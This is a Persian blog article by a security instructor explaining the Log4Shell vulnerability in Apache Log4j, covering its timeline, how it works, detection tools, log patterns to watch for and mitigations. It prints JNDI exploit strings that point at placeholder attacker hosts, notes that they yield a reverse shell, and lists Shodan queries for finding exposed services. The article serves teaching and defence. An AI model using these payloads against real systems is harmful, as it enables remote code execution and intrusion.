امیرحسین تنگسیری نژاد
مهندس و مدرس شبکه و امنیت شبکه و مدیر کل جزیره هک و امنیت اطلاعات توسینسو

حمله Log4Shell چیست؟ معرفی آسیب پذیری جدید Log4j

آسیب پذیری جدید و خطرناکی که در Apache Log4j که یکی از بسته های Logging متعلق به Java میباشد کشف شد که دنیارا تکان داد و موجب این شد تمامی سازمان ها و کمپانی های ارائه دهنده تجهیزات متنوع شروع به دستبکار شدن و رفع این مشکل و آسیب پذیری شوند.

دوره های شبکه، برنامه نویسی، مجازی سازی، امنیت، نفوذ و ... با برترین های ایران

معرفی آسیب پذیری موجود در Log4j با CVE 2021-44228 

این آسیب پذیری که با CVE 2021-44228 به ثبت رسیده با عنوان Log4Shell شناسایی میشود و دارای نمره و امتیاز 10.0 برپایه CVSSv3 میباشد که این نمره بالاترین سطح ممکن یعنی Critical را شامل میشود و باید سریعا اقدامات امنیتی برای رفع آن صورت بگیرد زیرا که این حمله به سادگی با ارسال پیغام های گزارش دستکاری شده توانایی اجرای دستورات را از راه دور به فرد مهاجم میدهد.

این آسیب پذیری در 9 نوامبر امسال ( سال 2021 ) به صورت کاملا شخصی به Apache گزارش شد و در 9 دسامبر امسال ( سال 2021 ) وصله های امنیتی مورد نیاز توسط Apache ارائه شد
از همین جهت سیستم ها و پلتفروم های بسیار زیادی تحت تاثیر این آسیب پذیری و حمله قرار گرفته اند و میلیونها دیوایس هنوز آلوده به این آسیب پذیری و حمله میباشند.

حمله Log4Shell چیست؟ معرفی آسیب پذیری جدید Log4j

نظر مارکوس هاچینز ( Marcus Hutchins ) در رابطه با Log4Shell

شدت این حمله و این آسیب پذیری اینقدر بالا و قابل توجه میباشد که اکثر افراد مشهور و سرشناس در حوزه امنیت نیز توییت ها و پست های زیادی را راجب آن منتشر کردند
برای مثال مارکوس هاچینز ( Marcus Hutchins ) یکی از محققان امنیتی برجسته به که واسطه جلوگیری توقف باج افزار WannaCry شناخته شده است عنوان کرد که این آسیب پذیری میلیون ها دستگاه ها در دنیا درگیر و تحت تاثیر قرار میدهد، متن کامل این توییت به زبان فارسی :

"میلیون ها نرم افزار و برنامه از بسته Log4j استفاده میکند و تنها کاری که فرد مهاجم باید انجام دهد این است که دستورات خود را به صورت String به برنامه ارسال کند و برنامه را وادار به Log کردن آنها کند"

بیشتر ببینید: کامل ترین دوره SANS SEC560 (تست نفوذ به زیرساخت و شبکه های سازمانی)

حمله Log4Shell اولین بار در کجا دیده شد؟

ممکن است برایتان سوال شود که در ابتدای کار این آسیب پذیری و حمله در کجا دیده شد دراصل درجای که حتی میتونه به شکل یک شوخی باشه تاحدودی ! زیرا این حمله در ابتدا در سروی های بازی MaineCraft دیده شد و مهاجمان با ارسال پیغام ها در چت میتوانند از این حمله بهره‌برداری کنند.

حمله Log4Shell چیست؟ معرفی آسیب پذیری جدید Log4j

نحوه کار حمله Log4Shell به چه شکل است؟

توجه داشته باشید که ما باید یک مقدار را در برنامه مورد نظر به عنوان Log قرار دهیم و این مقدار به صورت معمول و متداول که توسط افراد مختلف استفاده میشود به شکل زیر است:

{jndi:ldap://[attacker.site]/endpoint}

در مقدار بالا ما به واسطه JNDI Lookup و استفاده از LDAP یک مقدار مخرب ‌که یک وب سایت ایجاد شده توسط ما میباشد را به سمت سرور آسیب پذیر ارسال میکنیم و سرور آسیب پذیر بعد از طی کردن مراحل ( در تصویر زیر شرح داده شده است ) پاسخ کد مخرب Java مارا برای ما ارسال میکند.

حمله Log4Shell چیست؟ معرفی آسیب پذیری جدید Log4j

این روش متداول ترین روش استفاده و بهربرداری از Log4Shell میباشد که از پروتکل Http برای بهربرداری از آن استفاده میکنیم

توضیح بالا می‌تواند کمی برای کسانی که با این مباحث آشنایی ندارند مبهم باشد از همین بابت توضیح اصلی نحوه کار این حمله از اینجا به بعد شروع میشود.
توجه کنید که این آسیب پذیری با سواستفاده از مکانیزم Lookup در Log4j 2.x سو استفاده میکند که این مکانیزم بدین شکل میباشد که لاگ های ما در یک سری کارکتر های خاص ( }$) به شکل زیر قرار میگیرند

${Log}

و به گفته و دیدگاه NIST در اینجا به این دلیل که توجهی به ورودی های دریافتی نشده است و هر ورودی توسط یک فرد مهاجم یا فردی که احراز هویت نشده است دریافت میشود به همین دلیل در زمانی که از این کارکتر های خاص یعنی }$ در درخواست دیده میشود مکانیزم Log4j Lookup شروع میکند به گشتن و پیدا کردن تمامی بخشای های که بعد از این کارکتر ها قرار گرفته اند و مقدار واقعی و اصلی را پیدا و جایگزین میکند

از همین بابت در این مکان افراد با استفاده از جست‌وجوي JNDI که میتواند از چندین پروتکل خارجی مانند LDAP و DNA و RMI استفاده کنند سو استفاده میکنند و شروع میکنند به واسطه فرد مهاجم با قرار دادن کلاس های مخرب Java در سمت سرور LDAP راه اندازی شده توسط خودش به راحتی میتواند کد های مخرب موجود در LDAP Server را اجرا سازی کند.

از نمونه کد مخربی که میتواند در LDAP سرور ما قرار بگیرد و از آن بر روی سرور آسیب پذیر مقابل بهره برداری کنیم میتوانیم به کد ساده Java زیر اشاره کنیم:

حمله Log4Shell چیست؟ معرفی آسیب پذیری جدید Log4j

و همچنین Exploit ما برای اجرا سازی نیز به شکل زیر میباشد:

$\{jndi:ldap://AttackerIPAddr:1389/Exploit\}'

پس از بهره برداری ما یک دسترسی Reverse Shell از سمت مقابل دریافت خواهیم کرد.

حملات Log4Shell در دنیا

توجه داشته باشید که هر کنشی یک واکنش دارد از همین بابت روی کار آمدن یک آسیب پذیری و حمله جدید می‌تواند مشکلات و نگرانی های زیادی را با خود داشته باشد از همین جهت هکرها و افراد مختلف بیکار نمیشنند و تا به همین الان گزارش شده است که کسانی که پشت باج افزار خانواده Khonsari بوده اند نیز دست بکار شده اند و از این آسیب پذیری درحال استفاده هستند.

حمله Log4Shell چیست؟ معرفی آسیب پذیری جدید Log4j

چگونه تجهیزات دارای آسیب پذیری Log4Shell را شناسایی کنیم؟

روش های متعددی برای تشخیص این آسیب و حمله در تجهیزات متعدد وجود دارد که میتوانید آنهارا بکارگیری کنید و متداول ترین و سریع ترین آنها این است که شما از ابزارهای رایگان و Open Source استفاده کنید
همچنین روز به روز ابزارهای زیادی ارائه میشود که برای شناسایی و کشف تجهیزات آسیب پذیر به این حمله مورد استفاده قرار میگیرند
برای مثال Nmap جزوه اولین نرم افزارهای قدرتمندی بود که NSE تشخیص این آسیب پذیری را ارائه کرد.

  • اسکریپت NSE مربوط به تشخیص آسیب پذیری Log4Shell:
https://github.com/Diverto/nse-log4shell
  • نرم افزار JNDIRep به منظور تشخیص Log4Shell از طریق ارائه فایل Log
https://github.com/js-on/jndiRep
  • نرم افزاری جهت تشخیص Log4Shell از لیستی از Url ها
https://github.com/takito1812/log4j-detect
  • نرم افزاری به منظور تشخیص و برطرف آسیب پذیری Log4Shell ارائه شده توسط Logpresso:
https://github.com/logpresso/CVE-2021-44228-Scanner


نکته: توجه داشته باشید که این آسیب پذیری در یک بسته تحت عنوان‌ Log4j که متعلق به Java میباشد و توسط Apache توسعه پیدا میکند کشف شده است اما به مراتب این بسته می‌تواند در اکثر Platform ها و سیستم ها بکارگیری و استفاده شده است و به عنوان یک Library حتی در محصولاتی که خودتان ارائه دهنده آنها هستید قرار گرفته باشد پس توجه کنید که هرچه سریع تر باید Patch ها و الزامات و نکات امنیتی را ارائه و برطرف کنید.

چگونه دیوایس های پذیر را از طریق Shodan پیدا کنیم؟

توجه داشته باشید که Shodan یکی از وحشتناک ترین موتورهای جست‌وجوگر وب میباشد که به واسطه آن میتوانیم دیوایس های آنلاین آسیب پذیر قابل دسترسی بر روی اینترنت را کشف و پیدا کنیم و از همین بابت برای اینکار که بتوانیم دیوایس های آسیب پذیر به Log4Shell را پیدا کنیم میتوانیم از Search Query های زیر استفاده کنیم:

1. https://www.shodan.io/search?query=product%3Aredis
2. https://www.shodan.io/search?query=product%3Atomcat
3. https://www.shodan.io/search?query=product%3Aminecraft
4. https://www.shodan.io/search?query=product%3Aelastic

حمله Log4Shell چیست؟ معرفی آسیب پذیری جدید Log4j

نکته: حتما یک اکانت در Shodan ایجاد کنید و بعد لینک هارا بازکنید زیرا ممکن است ارور دریافت کنید.
برای دیدن یادگیری کامل Shodan به قسمت 15 کامل ترین دوره SANS SEC560 مراجعه کنید.

چگونه Log4Shell را تشخیص دهیم؟

توجه کنید که شما برای تشخیص این حمله باید به دنبال رشته های زیر در درخواست و Log ها و ارتباطات‌ شبکه خود باشید.

  • ${jndi:ldap:/}
  • ${jndi:ldaps:/}
  • ${jndi:rmi:/}
  • ${jndi:dns:/}
  • ${jndi:iiop:/}

نکته: توجه داشته باشید که این که موضوع صرفا در زمانی جوابگو میباشد که فرآيند پیاده سازی حملات از روش های مثله Encoding و Obfuscation در حمله و Payload استفاده نشود.

چگونه جلوی حمله Log4Shell را بگیریم؟

توجه داشته باشید که این‌ حمله صرفا بر روی پروتکل Http رخ نمیدهد و متداول ترین آن میتواند استفاده از پروتکل Http و یکی از Header های Http باشد ولی از طریق دیگر پروتکل ها نیز قابل پیاده سازی و انجام میباشد.
شما برای جلوگیری از این حمله حتما باید نسخه Log4j خود را به نسخه 2.15.0 ارتقا دهید

از همین بابت تا زمان ارائه Patche امنیتی دیگر و نکات دیگر میتوانید مقدار های موجود در Log4j را به شکل زیر تنظیم کنید.

  • برای Log4j نسخه 2.10 و به قبل باید ویژگی سیستمی Log4j2.formatMsgNoLookups را بر روی True قرار دهید.
  • همچنین برای Log4j نسخه 2.10 و به قبل باید متغیر محیطی LOG4J_FORMAT_MSG_NO_LOOKUPS را بر روی True تنظیم کنید.
  • برای نسخه های 2.0-Beta9 تا 2.10.0 نیز باید JndiLookup.class را حذف کنید.

امیرحسین تنگسیری نژاد
امیرحسین تنگسیری نژاد

مهندس و مدرس شبکه و امنیت شبکه و مدیر کل جزیره هک و امنیت اطلاعات توسینسو

مهندس و مدرس شبکه و امنیت شبکه, دارای مدارک مختلف از Splunk و AWS و Fortinet و Huawei حوزه اصلی فعالیت بنده در زمینه شبکه مباحث R&S و Service Provider می‌باشد و در زمینه امنیت نیز در موقعیت های مختلفی مانند PenTest و SoC فعالیت داشته و دارم. سابقه همکاری با بعضی سازمان های در قالب پروژه و... را داشته ام الان به عنوان مدرس در TOSINSO مشغول به فعالیت هستم. لینکداین: https://www.linkedin.com/in/amirhoseintangsirinezhad/

24 آذر 1400 این مطلب را ارسال کرده

نظرات